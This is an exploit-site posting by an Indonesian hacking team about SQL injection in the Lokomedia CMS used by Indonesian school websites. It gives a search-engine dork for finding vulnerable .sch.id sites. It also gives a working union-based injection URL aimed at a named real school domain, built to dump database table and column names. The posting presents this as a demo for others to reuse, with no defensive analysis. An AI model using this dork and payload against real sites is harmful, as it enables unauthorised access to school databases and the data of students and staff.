Indonesian School - SQL Lokomedia Vulnerability

2020.02.22

Light Cyber Indonesia (ID)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: inurl:/hal-visi-misi.html site:.sch.id

# Exploit Title : Indonesian School - SQL Lokomedia Vulnerability
# Author : ./MiSetya
# Team : Light Cyber Indonesia
# YouTube : https://youtube.com/MiSetya
# Blog : https://lightcyberindo.blogspot.com

# Dork
- inurl:/hal-visi-misi.html site:sch.id

# Demo
- http://smalsa.sch.id/hal-visi-misi'+and+0+union+select+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(information_schema.columns)WHERE(@x)IN(@x:=CONCAT(0x20,@x,table_name,0x203a3a20,column_name,0x3c62723e))))x),5,6,7,8,9,10,11,12--+-.html

# Greetz : Light Cyber Indonesia

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Indonesian School - SQL Lokomedia Vulnerability

Dork: inurl:/hal-visi-misi.html site:.sch.id

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.